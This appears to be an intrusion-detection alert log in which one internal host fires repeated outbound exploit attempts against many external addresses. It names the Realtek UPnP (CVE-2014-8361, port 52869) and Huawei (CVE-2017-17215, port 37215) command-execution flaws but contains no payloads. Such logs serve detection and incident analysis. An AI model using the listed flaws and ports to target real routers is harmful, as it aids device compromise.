2024-10-06T20:01:12.140871+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	38260	197.133.177.133	52869	TCP
2024-10-06T20:01:12.186019+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55922	197.89.91.100	37215	TCP
2024-10-06T20:01:12.191708+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60452	41.199.101.129	52869	TCP
2024-10-06T20:01:13.125060+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	36280	197.141.198.16	52869	TCP
2024-10-06T20:01:13.186642+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36344	197.97.199.192	37215	TCP
2024-10-06T20:01:13.203469+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56256	156.100.212.224	37215	TCP
2024-10-06T20:01:13.203510+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	42388	41.246.217.43	37215	TCP
2024-10-06T20:01:14.186415+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	52104	156.86.3.32	37215	TCP
2024-10-06T20:01:14.201706+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46634	41.214.17.15	37215	TCP
2024-10-06T20:01:14.217239+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36206	197.131.45.214	37215	TCP
2024-10-06T20:01:14.233269+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	58628	41.209.22.11	37215	TCP
2024-10-06T20:01:14.951140+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	56212	197.234.121.125	52869	TCP
2024-10-06T20:01:15.157087+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39612	156.250.233.49	52869	TCP
2024-10-06T20:01:15.190052+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	59826	156.211.66.166	52869	TCP
2024-10-06T20:01:15.234957+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	57050	156.4.122.123	37215	TCP
2024-10-06T20:01:16.218229+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58672	41.140.96.23	52869	TCP
2024-10-06T20:01:16.250573+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	51714	156.156.206.133	37215	TCP
2024-10-06T20:01:16.254689+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47120	156.150.182.225	37215	TCP
2024-10-06T20:01:16.285463+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36294	41.174.209.182	37215	TCP
2024-10-06T20:01:17.250630+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	45616	197.78.36.55	37215	TCP
2024-10-06T20:01:17.286368+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	50876	41.53.79.104	37215	TCP
2024-10-06T20:01:18.155224+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	54934	156.208.214.217	52869	TCP
2024-10-06T20:01:18.170401+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39910	156.216.210.16	52869	TCP
2024-10-06T20:01:18.170449+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44190	156.12.57.73	52869	TCP
2024-10-06T20:01:18.187639+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	42354	156.168.174.48	52869	TCP
2024-10-06T20:01:18.191413+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	49848	41.69.129.211	52869	TCP
2024-10-06T20:01:18.201486+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44970	197.197.148.157	52869	TCP
2024-10-06T20:01:18.201807+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44552	41.10.72.48	52869	TCP
2024-10-06T20:01:18.203271+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	36032	156.45.129.102	52869	TCP
2024-10-06T20:01:18.205383+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	43694	41.237.170.187	52869	TCP
2024-10-06T20:01:18.207374+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	41312	197.141.143.40	52869	TCP
2024-10-06T20:01:18.219978+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	50372	156.4.46.255	52869	TCP
2024-10-06T20:01:18.219979+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	59452	197.70.254.127	52869	TCP
2024-10-06T20:01:18.222132+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52764	41.134.7.100	52869	TCP
2024-10-06T20:01:18.237196+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	46866	156.132.56.248	52869	TCP
2024-10-06T20:01:18.281903+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46740	156.70.120.224	37215	TCP
2024-10-06T20:01:19.187855+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52456	197.206.146.113	52869	TCP
2024-10-06T20:01:19.201150+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	47556	197.35.159.214	52869	TCP
2024-10-06T20:01:19.201247+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	46964	197.228.99.236	52869	TCP
2024-10-06T20:01:19.201411+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	57472	41.115.243.27	52869	TCP
2024-10-06T20:01:19.205429+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	42706	41.222.155.250	52869	TCP
2024-10-06T20:01:19.207197+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	48706	197.110.102.39	52869	TCP
2024-10-06T20:01:19.217347+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	46724	41.33.52.111	52869	TCP
2024-10-06T20:01:19.217479+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	37102	197.207.207.46	52869	TCP
2024-10-06T20:01:19.217499+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	36918	41.215.56.243	52869	TCP
2024-10-06T20:01:19.217979+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	43114	197.133.55.5	52869	TCP
2024-10-06T20:01:19.218105+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	43020	197.59.135.168	52869	TCP
2024-10-06T20:01:19.219057+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	49716	156.11.141.227	52869	TCP
2024-10-06T20:01:19.219761+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34206	197.198.147.91	52869	TCP
2024-10-06T20:01:19.221209+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	57988	41.150.106.41	52869	TCP
2024-10-06T20:01:19.233611+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44962	156.5.108.172	52869	TCP
2024-10-06T20:01:19.240706+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	43884	156.235.12.74	52869	TCP
2024-10-06T20:01:19.250303+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	48214	197.11.166.154	52869	TCP
2024-10-06T20:01:19.254164+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	46324	41.74.146.126	52869	TCP
2024-10-06T20:01:19.281497+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	51842	197.26.208.5	52869	TCP
2024-10-06T20:01:19.330741+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	34906	41.99.74.98	37215	TCP
2024-10-06T20:01:20.232933+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	48472	197.201.179.78	52869	TCP
2024-10-06T20:01:20.236726+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	51330	41.74.144.63	52869	TCP
2024-10-06T20:01:20.249401+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	59132	156.16.19.212	52869	TCP
2024-10-06T20:01:20.250215+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60366	41.148.83.169	52869	TCP
2024-10-06T20:01:20.264257+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44650	156.154.64.164	52869	TCP
2024-10-06T20:01:20.266048+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	48650	41.107.220.242	52869	TCP
2024-10-06T20:01:20.313946+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	41000	156.87.35.96	52869	TCP
2024-10-06T20:01:21.232787+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	40336	156.136.102.137	52869	TCP
2024-10-06T20:01:21.247824+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	40798	197.199.206.127	52869	TCP
2024-10-06T20:01:21.247983+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34754	41.75.91.211	52869	TCP
2024-10-06T20:01:21.248062+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	53996	197.36.159.14	52869	TCP
2024-10-06T20:01:21.248726+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	49492	41.63.150.165	52869	TCP
2024-10-06T20:01:21.248730+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	46140	41.85.186.236	52869	TCP
2024-10-06T20:01:21.248748+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	45090	41.238.47.83	52869	TCP
2024-10-06T20:01:21.248870+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	59890	41.226.253.41	52869	TCP
2024-10-06T20:01:21.248873+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	41094	197.38.236.197	52869	TCP
2024-10-06T20:01:21.248874+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	38684	197.116.81.60	52869	TCP
2024-10-06T20:01:21.249162+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	56402	197.6.109.116	52869	TCP
2024-10-06T20:01:21.249173+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52234	197.175.228.175	52869	TCP
2024-10-06T20:01:21.249320+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34198	41.123.115.75	52869	TCP
2024-10-06T20:01:21.249338+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58836	156.200.168.64	52869	TCP
2024-10-06T20:01:21.249607+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34024	156.171.211.6	52869	TCP
2024-10-06T20:01:21.251370+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	55270	156.152.215.205	52869	TCP
2024-10-06T20:01:21.251536+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	42970	197.154.113.7	52869	TCP
2024-10-06T20:01:21.251612+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	43376	41.132.4.91	52869	TCP
2024-10-06T20:01:21.251704+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	49562	41.234.89.110	52869	TCP
2024-10-06T20:01:21.263545+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44076	41.27.240.251	52869	TCP
2024-10-06T20:01:21.264120+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52172	197.187.148.5	52869	TCP
2024-10-06T20:01:21.264287+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	46622	41.12.24.214	52869	TCP
2024-10-06T20:01:21.264357+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	53838	156.126.108.229	52869	TCP
2024-10-06T20:01:21.264513+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58224	41.112.88.62	52869	TCP
2024-10-06T20:01:21.264748+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	51298	197.236.73.81	52869	TCP
2024-10-06T20:01:21.264762+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	33454	156.53.86.123	52869	TCP
2024-10-06T20:01:21.264826+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	32926	197.165.80.36	52869	TCP
2024-10-06T20:01:21.264916+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	55008	41.103.171.158	52869	TCP
2024-10-06T20:01:21.265007+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34282	197.134.141.89	52869	TCP
2024-10-06T20:01:21.265051+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34384	197.166.133.40	52869	TCP
2024-10-06T20:01:21.265239+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	55604	156.3.59.57	52869	TCP
2024-10-06T20:01:21.265906+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52414	156.126.201.30	52869	TCP
2024-10-06T20:01:21.266099+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52934	41.237.140.232	52869	TCP
2024-10-06T20:01:21.266734+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	37622	156.250.138.210	52869	TCP
2024-10-06T20:01:21.266738+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58686	156.111.94.78	52869	TCP
2024-10-06T20:01:21.266821+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	36950	156.5.141.143	52869	TCP
2024-10-06T20:01:21.266895+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	38386	156.242.185.63	52869	TCP
2024-10-06T20:01:21.267057+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	38818	156.84.165.127	52869	TCP
2024-10-06T20:01:21.267068+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	40696	197.41.7.81	52869	TCP
2024-10-06T20:01:21.267134+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	56178	197.202.194.75	52869	TCP
2024-10-06T20:01:21.267973+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34130	41.68.59.102	52869	TCP
2024-10-06T20:01:21.268321+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	46940	41.173.239.3	52869	TCP
2024-10-06T20:01:21.268331+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	49736	197.124.253.46	52869	TCP
2024-10-06T20:01:21.268598+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	57202	41.58.98.139	52869	TCP
2024-10-06T20:01:21.268670+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	48988	156.200.50.134	52869	TCP
2024-10-06T20:01:21.268688+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	38544	41.143.131.148	52869	TCP
2024-10-06T20:01:21.268814+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	50830	41.118.143.123	52869	TCP
2024-10-06T20:01:21.269687+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58752	197.234.86.51	52869	TCP
2024-10-06T20:01:21.269898+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	53826	41.235.204.50	52869	TCP
2024-10-06T20:01:21.270409+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39008	156.216.194.74	52869	TCP
2024-10-06T20:01:21.270462+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	46090	41.157.188.154	52869	TCP
2024-10-06T20:01:21.279665+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39260	41.197.121.30	52869	TCP
2024-10-06T20:01:21.279840+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	55480	41.62.87.17	52869	TCP
2024-10-06T20:01:21.280027+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	56578	41.213.159.162	52869	TCP
2024-10-06T20:01:21.280548+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	37084	197.0.221.126	52869	TCP
2024-10-06T20:01:21.280564+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58632	156.116.38.126	52869	TCP
2024-10-06T20:01:21.280597+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	47592	197.44.42.57	52869	TCP
2024-10-06T20:01:21.281435+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44530	41.224.160.17	52869	TCP
2024-10-06T20:01:21.281558+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	56384	156.60.218.76	52869	TCP
2024-10-06T20:01:21.281591+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	33600	197.196.151.76	52869	TCP
2024-10-06T20:01:21.281959+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39360	41.189.107.111	52869	TCP
2024-10-06T20:01:21.282139+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	47580	197.27.45.137	52869	TCP
2024-10-06T20:01:21.282156+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	54052	156.111.149.43	52869	TCP
2024-10-06T20:01:21.283343+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	37304	156.7.32.243	52869	TCP
2024-10-06T20:01:21.283439+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34966	41.176.70.123	52869	TCP
2024-10-06T20:01:21.283680+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	49074	41.32.1.54	52869	TCP
2024-10-06T20:01:21.283763+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60116	156.60.77.201	52869	TCP
2024-10-06T20:01:21.285582+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	54752	197.235.72.82	52869	TCP
2024-10-06T20:01:21.285932+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	35924	197.85.183.101	52869	TCP
2024-10-06T20:01:21.392929+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44274	41.112.8.149	52869	TCP
2024-10-06T20:01:22.264745+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	33978	197.108.237.10	52869	TCP
2024-10-06T20:01:22.279520+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	35560	156.153.31.211	52869	TCP
2024-10-06T20:01:22.279791+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	43846	41.204.35.35	52869	TCP
2024-10-06T20:01:22.279994+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34974	41.3.67.111	52869	TCP
2024-10-06T20:01:22.280114+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60342	197.210.235.225	52869	TCP
2024-10-06T20:01:22.280364+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52972	41.114.132.173	52869	TCP
2024-10-06T20:01:22.280383+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	38612	156.68.10.31	52869	TCP
2024-10-06T20:01:22.280485+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39266	197.200.82.255	52869	TCP
2024-10-06T20:01:22.280566+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44342	197.204.210.92	52869	TCP
2024-10-06T20:01:22.280715+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	45688	41.20.5.32	52869	TCP
2024-10-06T20:01:22.281494+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44870	41.7.92.113	52869	TCP
2024-10-06T20:01:22.281528+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	48304	156.177.105.164	52869	TCP
2024-10-06T20:01:22.281606+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	38038	41.157.118.132	52869	TCP
2024-10-06T20:01:22.281870+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	49186	156.21.255.104	52869	TCP
2024-10-06T20:01:22.281916+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34280	156.221.88.95	52869	TCP
2024-10-06T20:01:22.282138+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	40590	197.122.89.72	52869	TCP
